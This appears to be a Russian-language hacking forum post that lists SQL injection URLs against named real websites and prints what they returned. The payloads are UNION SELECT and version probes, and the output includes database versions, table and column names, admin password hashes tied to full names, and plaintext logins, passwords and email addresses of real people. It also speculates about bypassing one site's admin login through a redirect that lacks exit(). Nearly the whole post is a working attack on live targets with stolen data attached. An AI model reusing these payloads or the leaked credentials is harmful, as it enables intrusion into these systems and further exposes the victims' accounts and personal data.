http://www.luxbt.ru/profi.php?rub=501+and+substring(version(),1,1)=5
PR 3, ТИЦ 80
------------
http://magazinru.ru/profi.php?rub=499&action=view&id=970+and+substring (version(),1,1)=4
PR 2, ТИЦ 80
-----------
http://kubsau.ru/science/public.php?kanarev&kind=-14+union+select+1,2,concat_ws(0x3a,version(),user( ),database()),4,5,6,7,8,9,10,11,12
5.0.24a-community-max-nt-log:1gb_kat@10.0.1.7:1gb_kat

таблички:
http://kubsau.ru/science/public.php?kanarev&kind=-14+union+select+1,2,table_name,4,5,6,7,8,9,10,11,1 2+from+information_schema.tables

столбцы таблицы admin:
http://kubsau.ru/science/public.php?kanarev&kind=-14+union+select+1,2,column_name,4,5,6,7,8,9,10,11, 12+from+information_schema.columns+where+table_nam e=0x61646d696e

http://kubsau.ru/science/public.php?kanarev&kind=-14+union+select+1,2,concat_ws(0x3a,id,fam,im,ot,le vel,log,pas),4,5,6,7,8,9,10,11,12+from+admin

1:Попок:Леонид:Евгеньевич:0:a 4c23c939d0cbc1673fc7c5c50b83756:805b48d7df5911c3f1 7f30173e8cdbe2
2:Лагунов:Владимир:Михайлов ич:0:c67f0777b4f97d43cbdc5c6514329b6d:cf88dd49c4 05318c8bd7ab2cdec90d6b
3:Назарова:Ольга:Владимиров на:0:17a3d901d7fa532f219345816eada58e:89343f0f18 12f8c5b4469ef7177934f7
4:Осенний:Виталий::1:8e8c353d62ba73d 67214e7b9d93cbd91:89f5c3bb44767ddb76c16a5932d1ab4f

админка: http://kubsau.ru/admin/
PR 5, ТИЦ 800
-------------------

Портал федеральных органов власти Сибирского федерального округа
http://www.sfo.nsk.su/gnk/prof.php?action=art&nart=2586+and+substring(versio n(),1,1)=3
ТИЦ 750

ttp://www.cinergie.be/prof.php?action=display&id=-1023+union+select+1,concat_ws(0x3a,version(),user( ),database()),3,4
5.0.22:cinergiedbuser@localhost:cinergiedb

таблицы:
http://www.cinergie.be/prof.php?action=display&id=-1023+union+select+1,table_name,3,4+from+informatio n_schema.tables
Интересующие нас таблицы: login и user

поля login:
http://www.cinergie.be/prof.php?action=display&id=-1023+union+select+1,column_name,3,4+from+informati on_schema.columns+where+table_name=0x6c6f67696e

http://www.cinergie.be/prof.php?action=display&id=-1023+union+select+1,concat_ws(0x3a,id,nom,login,pa ssword,email),3,4+from+login

1imitra:dimi:kenzo:dimitra.bouras@gmail.com




2:Samira:sami:alpacino:samira@cinergie.be




3:Sarah:deela:ninou:sdeela@hotmail.com



4oria:doria:admin:dhamelryk@tempo

поля user:
http://www.cinergie.be/prof.php?action=display&id=-1023+union+select+1,column_name,3,4+from+informati on_schema.columns+where+table_name=0x75736572

сами юзеры
http://www.cinergie.be/prof.php?action=display&id=-1023+union+select+1,concat_ws(0x3a,id,login,pass,p seudo,email,privilege),3,4+from+user

перечеслять здесь не буду

<<Lobzik>>
5.0.41:*:lobzik:*:lobzik@localhost:*:trustix-linux-gnu

http://www.madstorage.com/blog.php?id=-720+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20--

Database Version: 4.1.22-log
Database name: massiveattack
User name: massdbus@vlonj200w2.emihosting.com

http://iep.univ-lille2.fr/enseignants/prof.php?numens=-511+union+select+1,2,concat_ws(0x3a,version(),user (),database()),4,5,6,7,8,9,10,11
4.0.24_debian-10sarge2-log:web@localhostrofesseurs

http://www.klanien-male.net/annuaire/prof.php?id=-9+union+select+1,2,concat_ws(0x3a,version(),user() ,database()),4,5,6,7,8,9,10,11
4.0.27-MaxLog:dbo149594951@21

паролей в бд нету
админка:
http://www.goldcoastoceanfest.co.uk/admin

В админке походу пасс прописан в самом скрипте, и почемуто мне кажится что она не надёжна...

так как при неправильном вводе пароля меня перекидывает на скрипт login.php с помощью header() и чутьё мне подсказывает что полле него не указан exit() или die()
таким образом мы можем послать составленый с помощю инеткряка GET или POST запрос дабы попасть в админку без авторизации...

PR 3
http://www.russ-express.de/stranica.php?sopen=Autogas&file=print&sid=-22+union+select+1,2,concat_ws(0x3a,version(),user( ),database()),4,5,6
5.0.45:web25@localhost:usr_web25_1